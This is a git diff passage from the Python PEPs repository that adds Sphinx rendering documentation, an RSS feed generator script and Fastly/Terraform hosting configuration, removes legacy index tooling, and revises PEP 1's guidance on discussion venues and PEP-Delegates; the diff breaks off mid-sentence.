.\.venv\Scripts\activate + + +Check links +''''''''''' + +Check the validity of links within PEP sources (runs the `Sphinx linkchecker +`__). + +.. code-block:: shell + + python build.py --check-links + make check-links + + +Stricter rendering +'''''''''''''''''' + +Run in `nit-picky `__ +mode. +This generates warnings for all missing references. + +.. code-block:: shell + + python build.py --nitpicky + +Fail the build on any warning. +As of January 2022, there are around 250 warnings when building the PEPs. + +.. code-block:: shell + + python build.py --fail-on-warning + make fail-warning + + +``build.py`` usage +------------------ + +For details on the command-line options to the ``build.py`` script, run: + +.. code-block:: shell + + python build.py --help diff --git a/docs/rendering_system.rst b/docs/rendering_system.rst new file mode 100644 index 00000000000..bf793d5142e --- /dev/null +++ b/docs/rendering_system.rst @@ -0,0 +1,242 @@ +.. + Author: Adam Turner + + We can't use :pep:`N` references in this document, as they use links relative + to the current file, which doesn't work in a subdirectory like this one. + + +An Overview of the PEP Rendering System +======================================= + +This document provides an overview of the PEP rendering system, as a companion +to :doc:`PEP 676 <../pep-0676>`. + + +1. Configuration +---------------- + +Configuration is stored in three files: + +- ``conf.py`` contains the majority of the Sphinx configuration +- ``contents.rst`` creates the Sphinx-mandated table of contents directive +- ``pep_sphinx_extensions/pep_theme/theme.conf`` sets the Pygments themes + +The configuration: + +- registers the custom Sphinx extension +- sets both ``.txt`` and ``.rst`` suffixes to be parsed as PEPs +- tells Sphinx which source files to use +- registers the PEP theme, maths renderer, and template +- disables some default settings that are covered in the extension +- sets the default and "dark mode" code formatter styles + + +2. Orchestration +---------------- + +``build.py`` manages the rendering process. +Usage is covered in :doc:`build`. + + +3. Extension +------------ + +The Sphinx extension and theme are contained in the ``pep_sphinx_extensions`` +directory. +The following is a brief overview of the stages of the PEP rendering process, +and how the extension functions at each point. + + +3.1 Extension setup +''''''''''''''''''' + +The extension registers several objects: + +- ``FileBuilder`` and ``DirectoryBuilder`` run the build process for file- and + directory-based building, respectively. +- ``PEPParser`` registers the custom document transforms and parses PEPs to + a Docutils document. +- ``PEPTranslator`` converts a Docutils document into HTML. +- ``PEPRole`` handles ``:pep:`` roles in the reStructuredText source. + +The extension also patches default behaviour: + +- updating the default settings +- updating the Docutils inliner +- using HTML maths display over MathJax + + +3.2 Builder initialised +''''''''''''''''''''''' + +After the Sphinx builder object is created and initialised, we ensure the +configuration is correct for the builder chosen. + +Currently this involves updating the relative link template. +See ``_update_config_for_builder`` in ``pep_sphinx_extensions/__init__.py``. + + +3.3 Before documents are read +''''''''''''''''''''''''''''' + +The ``create_pep_zero`` hook is called. See `5. PEP 0`_. + + +3.4 Read document +''''''''''''''''' + +Parsing the document is handled by ``PEPParser`` +(``pep_sphinx_extensions.pep_processor.parsing.pep_parser.PEPParser``), a +lightweight wrapper over ``sphinx.parsers.RSTParser``. + +``PEPParser`` reads the document with leading :rfc:`2822` headers and registers +the transforms we want to apply. +These are: + +- ``PEPHeaders`` +- ``PEPTitle`` +- ``PEPContents`` +- ``PEPFooter`` + +Transforms are then applied in priority order. + + +3.4.1 ``PEPRole`` role +********************** + +This overrides the built-in ``:pep:`` role to return the correct URL. + + +3.4.2 ``PEPHeaders`` transform +****************************** + +PEPs start with a set of :rfc:`2822` headers, per :doc:`PEP 1 <../pep-0001>`. +This transform validates that the required headers are present and of the +correct data type, and removes headers not for display. +It must run before the ``PEPTitle`` transform. + + +3.4.3 ``PEPTitle`` transform +**************************** + +We generate the title node from the parsed title in the PEP headers, and make +all nodes in the document children of the new title node. +This transform must also handle parsing reStructuredText markup within PEP +titles, such as :doc:`PEP 604 <../pep-0604>`. + + +3.4.4 ``PEPContents`` transform +******************************* + +The automatic table of contents (TOC) is inserted in this transform in a +two-part process. + +First, the transform inserts a placeholder for the TOC and a horizontal rule +after the document title and PEP headers. +A callback transform then recursively walks the document to create the TOC, +starting from after the placeholder node. +Whilst walking the document, all reference nodes in the titles are removed, and +titles are given a self-link. + + +3.4.5 ``PEPFooter`` transform +***************************** + +This first builds a map of file modification times from a single git call, as +a speed-up. This will return incorrect results on a shallow checkout of the +repository, as is the default on continuous integration systems. + +We then attempt to remove any empty references sections, and append metadata in +the footer (source link and last modified timestamp). + + +3.5 Prepare for writing +'''''''''''''''''''''''' + +``pep_html_builder.FileBuilder.prepare_writing`` initialises the bare miniumum +of the Docutils writer and the settings for writing documents. +This provides a significant speed-up over the base Sphinx implementation, as +most of the data automatically initialised was unused. + + +3.6 Translate Docutils to HTML +''''''''''''''''''''''''''''''' + +``PEPTranslator`` overrides paragraph and reference logic to replicate +processing from the previous ``docutils.writers.pep``-based system. +Paragraphs are made compact where possible by omitting ``

`` tags, and +footnote references are be enclosed in square brackets. + + +3.7 Prepare for export to Jinja +''''''''''''''''''''''''''''''' + +Finally in ``pep_html_builder``, we gather all the parts to be passed to the +Jinja template. +This is also where we create the sidebar table of contents. + +The HTML files are then written out to the build directory. + + +4. Theme +-------- + +The theme is comprised of the HTML template in +``pep_sphinx_extensions/pep_theme/templates/page.html`` and the stylesheets in +``pep_sphinx_extensions/pep_theme/static``. + +The template is entirely self-contained, not relying on any default behaviour +from Sphinx. +It specifies the CSS files to include, the favicon, and basic semantic +information for the document structure. + +The styles are defined in two parts: + +- ``style.css`` handles the meat of the layout +- ``mq.css`` adds media queries for a responsive design + + +5. \PEP 0 +--------- + +The generation of the index, PEP 0, happens in three phases. +The reStructuredText source file is generated, it is then added to Sphinx, and +finally the data is post processed. + + +5.1 File creation +''''''''''''''''' + +``pep-0000.rst`` is created during a callback, before documents are loaded by +Sphinx. + +We first parse the individual PEP files to get the :rfc:`2822` header, and then +parse and validate that metadata. + +After collecting and validating all the PEP data, the index itself is created in +three steps: + + 1. Output the header text + 2. Output the category and numerical indices + 3. Output the author index + +The ``AUTHOR_OVERRIDES.csv`` file can be used to override an author's name in +the PEP 0 output. + +We then add the newly created PEP 0 file to two Sphinx variables so that it will +be processed as a normal source document. + + +5.2 Post processing +''''''''''''''''''' + +The ``PEPHeaders`` transform schedules the \PEP 0 post-processing code. +This serves two functions: masking email addresses and linking numeric +PEP references to the actual documents. + + +6. RSS Feed +----------- + +The RSS feed is created by extracting the header metadata and abstract from the +ten most recent PEPs. diff --git a/docutils.conf b/docutils.conf deleted file mode 100644 index e2f4c8cc16e..00000000000 --- a/docutils.conf +++ /dev/null @@ -1,21 +0,0 @@ -# Configuration file for Docutils. -# See http://docutils.sf.net/docs/tools.html - -[general] -# These entries are for the page footer: -source-link: 1 -datestamp: %Y-%m-%d %H:%M UTC -generator: 1 - -# use the local stylesheet -stylesheet: pep.css -template: pyramid-pep-template - -# link to the stylesheet; don't embed it -embed-stylesheet: 0 - -# path to PEPs, for template: -pep-home: /dev/peps/ - -# base URL for PEP references (no host so mirrors work): -pep-base-url: /dev/peps/ diff --git a/generate_rss.py b/generate_rss.py new file mode 100755 index 00000000000..358e1382316 --- /dev/null +++ b/generate_rss.py @@ -0,0 +1,212 @@ +#!/usr/bin/env python3 +# This file is placed in the public domain or under the +# CC0-1.0-Universal license, whichever is more permissive. + +import datetime +import email.utils +from pathlib import Path +import re + +import docutils +from docutils import frontend +from docutils import nodes +from docutils import utils +from docutils.parsers import rst +from docutils.parsers.rst import roles +from feedgen import entry +from feedgen import feed + +# get the directory with the PEP sources +PEP_ROOT = Path(__file__).parent + + +# Monkeypatch feedgen.util.formatRFC2822 +def _format_rfc_2822(dt: datetime.datetime) -> str: + return email.utils.format_datetime(dt, usegmt=True) + + +# Monkeypatch nodes.Node.findall for forwards compatability +if docutils.__version_info__ < (0, 18, 1): + def findall(self, *args, **kwargs): + return iter(self.traverse(*args, **kwargs)) + + nodes.Node.findall = findall + + +entry.formatRFC2822 = feed.formatRFC2822 = _format_rfc_2822 +line_cache: dict[Path, dict[str, str]] = {} + +# Monkeypatch PEP and RFC reference roles to match Sphinx behaviour +EXPLICIT_TITLE_RE = re.compile(r'^(.+?)\s*(?$', re.DOTALL) + + +def _pep_reference_role(role, rawtext, text, lineno, inliner, + options={}, content=[]): + matched = EXPLICIT_TITLE_RE.match(text) + if matched: + title = utils.unescape(matched.group(1)) + target = utils.unescape(matched.group(2)) + else: + target = utils.unescape(text) + title = "PEP " + utils.unescape(text) + pep_str, _, fragment = target.partition("#") + try: + pepnum = int(pep_str) + if pepnum < 0 or pepnum > 9999: + raise ValueError + except ValueError: + msg = inliner.reporter.error( + f'PEP number must be a number from 0 to 9999; "{pep_str}" is invalid.', + line=lineno) + prb = inliner.problematic(rawtext, rawtext, msg) + return [prb], [msg] + # Base URL mainly used by inliner.pep_reference; so this is correct: + ref = (inliner.document.settings.pep_base_url + + inliner.document.settings.pep_file_url_template % pepnum) + if fragment: + ref += "#" + fragment + roles.set_classes(options) + return [nodes.reference(rawtext, title, refuri=ref, **options)], [] + + +def _rfc_reference_role(role, rawtext, text, lineno, inliner, + options={}, content=[]): + matched = EXPLICIT_TITLE_RE.match(text) + if matched: + title = utils.unescape(matched.group(1)) + target = utils.unescape(matched.group(2)) + else: + target = utils.unescape(text) + title = "RFC " + utils.unescape(text) + pep_str, _, fragment = target.partition("#") + try: + rfcnum = int(pep_str) + if rfcnum < 0 or rfcnum > 9999: + raise ValueError + except ValueError: + msg = inliner.reporter.error( + f'RFC number must be a number from 0 to 9999; "{pep_str}" is invalid.', + line=lineno) + prb = inliner.problematic(rawtext, rawtext, msg) + return [prb], [msg] + ref = (inliner.document.settings.rfc_base_url + inliner.rfc_url % rfcnum) + if fragment: + ref += "#" + fragment + roles.set_classes(options) + return [nodes.reference(rawtext, title, refuri=ref, **options)], [] + + +roles.register_canonical_role("pep-reference", _pep_reference_role) +roles.register_canonical_role("rfc-reference", _rfc_reference_role) + + +def first_line_starting_with(full_path: Path, text: str) -> str: + # Try and retrieve from cache + if full_path in line_cache: + return line_cache[full_path].get(text, "") + + # Else read source + line_cache[full_path] = path_cache = {} + for line in full_path.open(encoding="utf-8"): + if line.startswith("Created:"): + path_cache["Created:"] = line.removeprefix("Created:").strip() + elif line.startswith("Title:"): + path_cache["Title:"] = line.removeprefix("Title:").strip() + elif line.startswith("Author:"): + path_cache["Author:"] = line.removeprefix("Author:").strip() + + # Once all have been found, exit loop + if path_cache.keys == {"Created:", "Title:", "Author:"}: + break + return path_cache.get(text, "") + + +def pep_creation(full_path: Path) -> datetime.datetime: + created_str = first_line_starting_with(full_path, "Created:") + if full_path.stem == "pep-0102": + # remove additional content on the Created line + created_str = created_str.split(" ", 1)[0] + return datetime.datetime.strptime(created_str, "%d-%b-%Y") + + +def parse_rst(full_path: Path) -> nodes.document: + text = full_path.read_text(encoding="utf-8") + settings = frontend.OptionParser((rst.Parser,)).get_default_values() + document = utils.new_document(f'<{full_path}>', settings=settings) + rst.Parser(rfc2822=True).parse(text, document) + return document + + +def pep_abstract(full_path: Path) -> str: + """Return the first paragraph of the PEP abstract""" + for node in parse_rst(full_path).findall(nodes.section): + if node.next_node(nodes.title).astext() == "Abstract": + return node.next_node(nodes.paragraph).astext().strip().replace("\n", " ") + return "" + + +def main(): + # get list of peps with creation time (from "Created:" string in pep source) + peps_with_dt = sorted((pep_creation(path), path) for path in PEP_ROOT.glob("pep-????.???")) + + # generate rss items for 10 most recent peps + items = [] + for dt, full_path in peps_with_dt[-10:]: + try: + pep_num = int(full_path.stem.split("-")[-1]) + except ValueError: + continue + + title = first_line_starting_with(full_path, "Title:") + author = first_line_starting_with(full_path, "Author:") + if "@" in author or " at " in author: + parsed_authors = email.utils.getaddresses([author]) + # ideal would be to pass as a list of dicts with names and emails to + # item.author, but FeedGen's RSS output doesn't pass W3C + # validation (as of 12/06/2021) + joined_authors = ", ".join(f"{name} ({email_address})" for name, email_address in parsed_authors) + else: + joined_authors = author + url = f"https://peps.python.org/pep-{pep_num:0>4}/" + + item = entry.FeedEntry() + item.title(f"PEP {pep_num}: {title}") + item.link(href=url) + item.description(pep_abstract(full_path)) + item.guid(url, permalink=True) + item.published(dt.replace(tzinfo=datetime.timezone.utc)) # ensure datetime has a timezone + item.author(email=joined_authors) + items.append(item) + + # The rss envelope + desc = """ + Newest Python Enhancement Proposals (PEPs) - Information on new + language features, and some meta-information like release + procedure and schedules. + """ + + # Setup feed generator + fg = feed.FeedGenerator() + fg.language("en") + fg.generator("") + fg.docs("https://cyber.harvard.edu/rss/rss.html") + + # Add metadata + fg.title("Newest Python PEPs") + fg.link(href="https://peps.python.org") + fg.link(href="https://peps.python.org/peps.rss", rel="self") + fg.description(" ".join(desc.split())) + fg.lastBuildDate(datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc)) + + # Add PEP information (ordered by newest first) + for item in items: + fg.add_entry(item) + + # output directory for target HTML files + out_dir = PEP_ROOT / "build" + out_dir.mkdir(exist_ok=True) + out_dir.joinpath("peps.rss").write_bytes(fg.rss_str(pretty=True)) + + +if __name__ == "__main__": + main() diff --git a/genpepindex.py b/genpepindex.py deleted file mode 100755 index 2ab6698a05a..00000000000 --- a/genpepindex.py +++ /dev/null @@ -1,68 +0,0 @@ -#!/usr/bin/env python -"""Auto-generate PEP 0 (PEP index). - -Generating the PEP index is a multi-step process. To begin, you must first -parse the PEP files themselves, which in and of itself takes a couple of steps: - - 1. Parse metadata. - 2. Validate metadata. - -With the PEP information collected, to create the index itself you must: - - 1. Output static text. - 2. Format an entry for the PEP. - 3. Output the PEP (both by category and numerical index). - -""" -from __future__ import absolute_import, with_statement -from __future__ import print_function - -import sys -import os -import codecs - -from operator import attrgetter - -from pep0.output import write_pep0 -from pep0.pep import PEP, PEPError - - -def main(argv): - if not argv[1:]: - path = '.' - else: - path = argv[1] - - peps = [] - if os.path.isdir(path): - for file_path in os.listdir(path): - if file_path.startswith('pep-0000.'): - continue - abs_file_path = os.path.join(path, file_path) - if not os.path.isfile(abs_file_path): - continue - if file_path.startswith("pep-") and file_path.endswith((".txt", "rst")): - with codecs.open(abs_file_path, 'r', encoding='UTF-8') as pep_file: - try: - pep = PEP(pep_file) - if pep.number != int(file_path[4:-4]): - raise PEPError('PEP number does not match file name', - file_path, pep.number) - peps.append(pep) - except PEPError as e: - errmsg = "Error processing PEP %s (%s), excluding:" % \ - (e.number, e.filename) - print(errmsg, e, file=sys.stderr) - sys.exit(1) - peps.sort(key=attrgetter('number')) - elif os.path.isfile(path): - with open(path, 'r') as pep_file: - peps.append(PEP(pep_file)) - else: - raise ValueError("argument must be a directory or file path") - - with codecs.open('pep-0000.rst', 'w', encoding='UTF-8') as pep0_file: - write_pep0(peps, pep0_file) - -if __name__ == "__main__": - main(sys.argv) diff --git a/infra/.gitignore b/infra/.gitignore new file mode 100644 index 00000000000..5dfe3103b69 --- /dev/null +++ b/infra/.gitignore @@ -0,0 +1,2 @@ +.terraform* +terraform.tfstate* diff --git a/infra/config.tf b/infra/config.tf new file mode 100644 index 00000000000..2cc663d3139 --- /dev/null +++ b/infra/config.tf @@ -0,0 +1,22 @@ +terraform { + required_providers { + fastly = { + source = "fastly/fastly" + version = "1.1.2" + } + } + required_version = ">= 1.1.8" + cloud { + organization = "psf" + workspaces { + name = "peps" + } + } +} +variable "fastly_token" { + type = string + sensitive = true +} +provider "fastly" { + api_key = var.fastly_token +} diff --git a/infra/main.tf b/infra/main.tf new file mode 100644 index 00000000000..faf53b404c2 --- /dev/null +++ b/infra/main.tf @@ -0,0 +1,73 @@ +resource "fastly_service_vcl" "peps" { + name = "peps.python.org" + activate = true + domain { name = "peps.python.org" } + + backend { + name = "GitHub Pages" + address = "python.github.io" + port = 443 + override_host = "peps.python.org" + + use_ssl = true + ssl_check_cert = true + ssl_cert_hostname = "python.github.io" + ssl_sni_hostname = "python.github.io" + } + + header { + name = "HSTS" + type = "response" + action = "set" + destination = "http.Strict-Transport-Security" + ignore_if_set = false + source = "\"max-age=31536000; includeSubDomains; preload\"" + } + + request_setting { + name = "Force TLS" + force_ssl = true + } + + snippet { + name = "serve-rss" + type = "recv" + content = <<-EOT + if (req.url == "/peps.rss/") { + set req.url = "/peps.rss"; + } + EOT + } + + snippet { + name = "redirect" + type = "error" + content = <<-EOT + if (obj.status == 618) { + set obj.status = 302; + set obj.http.Location = "https://" + req.http.host + req.http.Location; + return(deliver); + } + EOT + } + snippet { + name = "redirect-numbers" + type = "recv" + content = <<-EOT + if (req.url ~ "^/(\d|\d\d|\d\d\d|\d\d\d\d)/?$") { + set req.http.Location = "/pep-" + std.strpad(re.group.1, 4, "0") + "/"; + error 618; + } + EOT + } + snippet { + name = "left-pad-pep-numbers" + type = "recv" + content = <<-EOT + if (req.url ~ "^/pep-(\d|\d\d|\d\d\d)/?$") { + set req.http.Location = "/pep-" + std.strpad(re.group.1, 4, "0") + "/"; + error 618; + } + EOT + } +} diff --git a/pep-0001-process_flow.png b/pep-0001-process_flow.png deleted file mode 100644 index 0fc8176d242..00000000000 Binary files a/pep-0001-process_flow.png and /dev/null differ diff --git a/pep-0001.txt b/pep-0001.txt index 7caf168e381..1d22c4252e6 100644 --- a/pep-0001.txt +++ b/pep-0001.txt @@ -26,7 +26,9 @@ documenting dissenting opinions. Because the PEPs are maintained as text files in a versioned repository, their revision history is the historical record of the -feature proposal [1]_. +feature proposal. This historical record is available by the normal git +commands for retrieving older revisions, and can also be browsed +`on GitHub `__. PEP Audience @@ -80,7 +82,7 @@ Python's Steering Council There are several references in this PEP to the "Steering Council" or "Council". This refers to the current members of the elected Steering Council described -in PEP 13 [5]_, in their role as the final authorities on whether or not PEPs +in :pep:`13`, in their role as the final authorities on whether or not PEPs will be accepted or rejected. @@ -88,18 +90,18 @@ Python's Core Developers ------------------------ There are several references in this PEP to "core developers". This refers to -the currently active Python core team members described in PEP 13 [5]_. +the currently active Python core team members described in :pep:`13`. Python's BDFL ------------- -Previous versions of this PEP used the title "BDFL-Delegate" for PEP decision makers. This was -a historical reference to Python's previous governance model, where all design -authority ultimately derived from Guido van Rossum, the original creator of the -Python programming language. By contrast, the Steering Council's design -authority derives from their election by the currently active core developers. -Now, PEP-Delegate is used in place of BDFL-Delegate. +Previous versions of this PEP used the title "BDFL-Delegate" for PEP decision +makers. This was a historical reference to Python's previous governance model, +where all design authority ultimately derived from Guido van Rossum, the +original creator of the Python programming language. By contrast, the Steering +Council's design authority derives from their election by the currently active +core developers. Now, PEP-Delegate is used in place of BDFL-Delegate. PEP Editors @@ -121,10 +123,10 @@ Start with an idea for Python The PEP process begins with a new idea for Python. It is highly recommended that a single PEP contain a single key proposal or new -idea. Small enhancements or patches often don't need -a PEP and can be injected into the Python development workflow with a -patch submission to the Python `issue tracker`_. The more focused the -PEP, the more successful it tends to be. The PEP editors reserve the +idea; the more focused the PEP, the more successful it tends to be. +Most enhancements and bug fixes don't need a PEP and +can be submitted directly to the `Python issue tracker`_. +The PEP editors reserve the right to reject PEP proposals if they appear too unfocused or too broad. If in doubt, split your PEP into several well-focused ones. @@ -132,9 +134,11 @@ Each PEP must have a champion -- someone who writes the PEP using the style and format described below, shepherds the discussions in the appropriate forums, and attempts to build community consensus around the idea. The PEP champion (a.k.a. Author) should first attempt to ascertain whether the idea is -PEP-able. Posting to the comp.lang.python newsgroup -(a.k.a. python-list@python.org mailing list) or the python-ideas@python.org -mailing list is the best way to go about this. +PEP-able. Posting to the `Python-Ideas`_ mailing list or the +`Ideas category`_ of the `Python Discourse`_ is usually +the best way to go about this, unless a more specialized venue is appropriate, +such as `Typing-SIG`_ for static typing or the `Packaging category`_ of the +Python Discourse for packaging issues. Vetting an idea publicly before going as far as writing a PEP is meant to save the potential author time. Many ideas have been brought @@ -149,7 +153,8 @@ mean it will work for most people in most areas where Python is used. Once the champion has asked the Python community as to whether an idea has any chance of acceptance, a draft PEP should be presented to -python-ideas. This gives the author a chance to flesh out the draft +the appropriate venue mentioned above. +This gives the author a chance to flesh out the draft PEP to make properly formatted, of high quality, and to address initial concerns about the proposal. @@ -157,14 +162,15 @@ initial concerns about the proposal. Submitting a PEP ---------------- -Following a discussion on python-ideas, the workflow varies based on whether +Following the above initial discussion, the workflow varies based on whether any of the PEP's co-authors are core developers. If one or more of the PEP's co-authors are core developers, they are responsible for following the process outlined below. Otherwise (i.e. none of the co-authors are core developers), then the PEP author(s) will need to find a sponsor for the PEP. Ideally, a core developer sponsor is identified, but non-core sponsors may also -be selected with the approval of the Steering Council. The sponsor's job is to +be selected with the approval of the Steering Council. Members of the GitHub +"PEP editors" team are pre-approved to be sponsors. The sponsor's job is to provide guidance to the PEP author to help them through the logistics of the PEP process (somewhat acting like a mentor). Being a sponsor does **not** disqualify that person from becoming a co-author or PEP-Delegate later on (but @@ -187,10 +193,15 @@ The standard PEP workflow is: "Informational", or "Process" as appropriate, and for the "Status:" field enter "Draft". For full details, see `PEP Header Preamble`_. +* Update `.github/CODEOWNERS`_ such that any co-author(s) or sponsors + with write access to the `PEP repository`_ are listed for your new file. + This ensures any future pull requests changing the file will be assigned + to them. + * Push this to your GitHub fork and submit a pull request. * The PEP editors review your PR for structure, formatting, and other - errors. For a reST-formatted PEP, PEP 12 is provided as a template. + errors. For a reST-formatted PEP, :pep:`12` is provided as a template. It also provides a complete introduction to reST markup that is used in PEPs. Approval criteria are: @@ -198,10 +209,10 @@ The standard PEP workflow is: editors do not consider whether they seem likely to be accepted. * The title accurately describes the content. * The PEP's language (spelling, grammar, sentence structure, etc.) - and code style (examples should match PEP 8 & PEP 7) should be - correct and conformant. The PEP will be checked for formatting - (plain text or reStructuredText) by Travis CI, and will not be - approved until this passes. + and code style (examples should match :pep:`7` & :pep:`8`) should be + correct and conformant. The PEP text will be automatically checked for + correct reStructuredText formatting when the pull request is submitted. + PEPs with invalid reST markup will not be approved. Editors are generally quite lenient about this initial review, expecting that problems will be corrected by the reviewing process. @@ -216,7 +227,7 @@ The standard PEP workflow is: Once the review process is complete, and the PEP editors approve it (note that this is *not* the same as accepting your PEP!), they will squash commit your -pull request onto master. +pull request onto main. The PEP editors will not unreasonably deny publication of a PEP. Reasons for denying PEP status include duplication of effort, being technically unsound, @@ -224,7 +235,7 @@ not providing proper motivation or addressing backwards compatibility, or not in keeping with the Python philosophy. The Steering Council can be consulted during the approval phase, and are the final arbiter of a draft's PEP-ability. -Developers with git push privileges for the `PEP repository`_ may claim PEP +Developers with write access to the `PEP repository`_ may claim PEP numbers directly by creating and committing a new PEP. When doing so, the developer must handle the tasks that would normally be taken care of by the PEP editors (see `PEP Editor Responsibilities & Workflow`_). This includes @@ -235,14 +246,10 @@ if you need assistance from PEP editors, mention ``@python/pep-editors`` on GitHub. As updates are necessary, the PEP author can check in new versions if they -(or a collaborating developer) have git push privileges. - -After a PEP number has been assigned, a draft PEP may be discussed further on -python-ideas (getting a PEP number assigned early can be useful for ease of +(or a collaborating developer) have write access to the `PEP repository`_. +Getting a PEP number assigned early can be useful for ease of reference, especially when multiple draft PEPs are being considered at the -same time). Eventually, all Standards Track PEPs must be sent to the -`python-dev list `__ for review as described -in the next section. +same time. Standards Track PEPs consist of two parts, a design document and a reference implementation. It is generally recommended that at least a @@ -250,23 +257,76 @@ prototype implementation be co-developed with the PEP, as ideas that sound good in principle sometimes turn out to be impractical when subjected to the test of implementation. + +Discussing a PEP +---------------- + +As soon as a PEP number has been assigned +and the draft PEP is committed to the `PEP repository`_, +a discussion thread for the PEP should be created +to provide a central place to discuss and review its contents, and the +PEP should be updated so that the ``Discussions-To`` header links to it. + +The PEP authors (or sponsor, if applicable) may select any reasonable venue +for the discussion, so long as the the following criteria are met: + +* The forum is appropriate to the PEP's topic. +* The thread is publicly available on the web so that all interested parties + can participate. +* The discussion is subject to the `Python Community Code of Conduct + `_. +* A direct link to the current discussion thread is provided in the PEP + under the ``Discussions-To`` header. + +Typically, the `Python-Dev`_ mailing list and the +`PEPs category`_ of the `Python Discourse`_ are good choices for most PEPs, +while some specialized topics have specific venues, such as +`Typing-SIG`_ for typing PEPs or the `Packaging category`_ on the Python +Discourse for packaging PEPs. If the PEP authors are unsure of the best venue, +the PEP Sponsor and PEP editors can advise them accordingly. + +If the chosen venue is not the `Python-Dev`_ mailing list, +a brief announcement should be posted there when the draft PEP is +committed to the repository, which should include a link to the rendered PEP +and to the canonical ``Discussions-To`` thread. + +If a PEP undergoes a significant re-write or other major, substantive +changes to its proposed specification, a new thread should typically be created +in the chosen venue to solicit additional feedback. If this occurs, the +``Discussions-To`` link must be updated and a new ``Post-History`` entry added +pointing to this new thread, and (if not the discussion venue) a further +announcement sent to `Python-Dev`_ containing the same information as above +and at least briefly summarizing the major changes. + PEP authors are responsible for collecting community feedback on a PEP -before submitting it for review. However, wherever possible, long -open-ended discussions on public mailing lists should be avoided. -Strategies to keep the discussions efficient include: setting up a -separate SIG mailing list for the topic, having the PEP author accept -private comments in the early design phases, setting up a wiki page, etc. +before submitting it for review. However, to avoid long-winded and +open-ended discussions, strategies such as soliciting private or more +narrowly-tailored feedback in the early design phase, +collaborating with other community members with expertise in the PEP's +subject matter, and picking an appropriately-specialized discussion for the +PEP's topic (if applicable) should be considered. PEP authors should use their discretion here. +Once the PEP is assigned a number and committed to the PEP repository, +substantive issues should generally be discussed on the canonical public +thread, as opposed to private channels, GitHub pull request reviews or +unrelated venues. This ensures everyone can follow and contribute, +avoids fragmenting the discussion, +and makes sure it is fully considered as part of the PEP review process. +Comments, support, concerns and other feedback on this designated thread +are a critical part of what the Steering Council or PEP-Delegate will +consider when reviewing the PEP. + PEP Review & Resolution ----------------------- Once the authors have completed a PEP, they may request a review for style and consistency from the PEP editors. - -However, content review and final acceptance of the PEP must be requested of the -core developers, usually via an email to the python-dev mailing list. +However, content review and acceptance of the PEP is ultimately the +responsibility of the Steering Council, which is formally initiated by +opening a `Steering Council issue`_ once the authors (and sponsor, if any) +determine the PEP is ready for final review and resolution. To expedite the process in selected cases (e.g. when a change is clearly beneficial and ready to be accepted, but the PEP hasn't been formally submitted @@ -274,18 +334,31 @@ for review yet), the Steering Council may also initiate a PEP review, first notifying the PEP author(s) and giving them a chance to make revisions. The final authority for PEP approval is the Steering Council. However, whenever -a new PEP is put forward, any core developer that believes they are suitably -experienced to make the final decision on that PEP may offer to serve as -the PEP-Delegate for that PEP, and they will then have the authority to approve -(or reject) that PEP. Individuals taking on this responsibility are free to seek +a new PEP is put forward, any core developer who believes they are suitably +experienced to make the final decision on that PEP may offer to serve as its +PEP-Delegate by `notifying the Steering Council `_ +of their intent. If the Steering Council approves their offer, +the PEP-Delegate will then have the authority to approve or reject that PEP. + +The term "PEP-Delegate" is used under the Steering Council governance model +for the PEP's designated decision maker, +who is recorded in the "PEP-Delegate" field in the PEP's header. +The term "BDFL-Delegate" is a deprecated alias for PEP-Delegate, a legacy of +the time when when Python was led by `a BDFL `_. +Any legacy references to "BDFL-Delegate" should be treated as equivalent to +"PEP-Delegate". + +An individual offering to nominate themselves as a PEP-Delegate must notify +the relevant authors and (when present) the sponsor for the PEP, and submit +their request to the Steering Council +(which can be done via a `new issue `_ ). +Those taking on this responsibility are free to seek additional guidance from the Steering Council at any time, and are also expected to take the advice and perspectives of other core developers into account. -The designated decision maker for each PEP is recorded in the "PEP-Delegate" -header in the PEP. - -Such self-nominations are accepted by default, but may be explicitly declined by -the Steering Council. Possible reasons for the Steering Council declining a +The Steering Council will generally approve such self-nominations by default, +but may choose to decline them. +Possible reasons for the Steering Council declining a self-nomination as PEP-Delegate include, but are not limited to, perceptions of a potential conflict of interest (e.g. working for the same organisation as the PEP submitter), or simply considering another potential PEP-Delegate to be @@ -306,13 +379,6 @@ replacement can be found). In the event that a PEP-Delegate is asked to step down, this will overrule any prior acceptance or rejection of the PEP, and it will revert to Draft status. -With the approval of the Steering Council, PEP review and resolution may also -occur on a list other than python-dev (for example, distutils-sig for packaging -related PEPs that don't immediately affect the standard library). In these -cases, the "Discussions-To" heading in the PEP will identify the appropriate -alternative list where discussion, review and pronouncement on the PEP will -occur. - When such standing delegations are put in place, the Steering Council will maintain sufficient public records to allow subsequent Councils, the core developers, and the wider Python community to understand the delegations that @@ -326,9 +392,12 @@ implementation, if applicable, must be solid and must not complicate the interpreter unduly. Finally, a proposed enhancement must be "pythonic" in order to be accepted by the Steering Council. (However, "pythonic" is an imprecise term; it may be defined as whatever is acceptable to -the Steering Council. This logic is intentionally circular.) See PEP 2 [2]_ +the Steering Council. This logic is intentionally circular.) See :pep:`2` for standard library module acceptance criteria. +Except where otherwise approved by the Steering Council, pronouncements +of PEP resolution will be posted to the `Python-Dev`_ mailing list. + Once a PEP has been accepted, the reference implementation must be completed. When the reference implementation is complete and incorporated into the main source code repository, the status will be changed to "Final". @@ -345,7 +414,7 @@ been included in a Python release*. Wherever possible, it is considered preferable to reduce the scope of a proposal to avoid the need to rely on the "Provisional" status (e.g. by deferring some features to later PEPs), as this status can lead to version compatibility -challenges in the wider Python ecosystem. PEP 411 provides additional details +challenges in the wider Python ecosystem. :pep:`411` provides additional details on potential use cases for the Provisional status. A PEP can also be assigned the status "Deferred". The PEP author or an @@ -360,9 +429,10 @@ themselves has decided that the PEP is actually a bad idea, or has accepted that a competing proposal is a better alternative. When a PEP is Accepted, Rejected or Withdrawn, the PEP should be updated -accordingly. In addition to updating the status field, at the very least +accordingly. In addition to updating the Status field, at the very least the Resolution header should be added with a link to the relevant post -in the python-dev mailing list archives. +in the `Python-Dev`_ mailing list +`archives `_. PEPs can also be superseded by a different PEP, rendering the original obsolete. This is intended for Informational PEPs, where version 2 of @@ -370,7 +440,8 @@ an API can replace version 1. The possible paths of the status of PEPs are as follows: -.. image:: pep-0001-process_flow.png +.. image:: pep-0001/process_flow.svg + :class: invert-in-dark-mode :alt: PEP process flow diagram While not shown in the diagram, "Accepted" PEPs may technically move to @@ -383,26 +454,31 @@ deprecation process (which may require a new PEP providing the rationale for the deprecation). Some Informational and Process PEPs may also have a status of "Active" -if they are never meant to be completed. E.g. PEP 1 (this PEP). +if they are never meant to be completed. E.g. 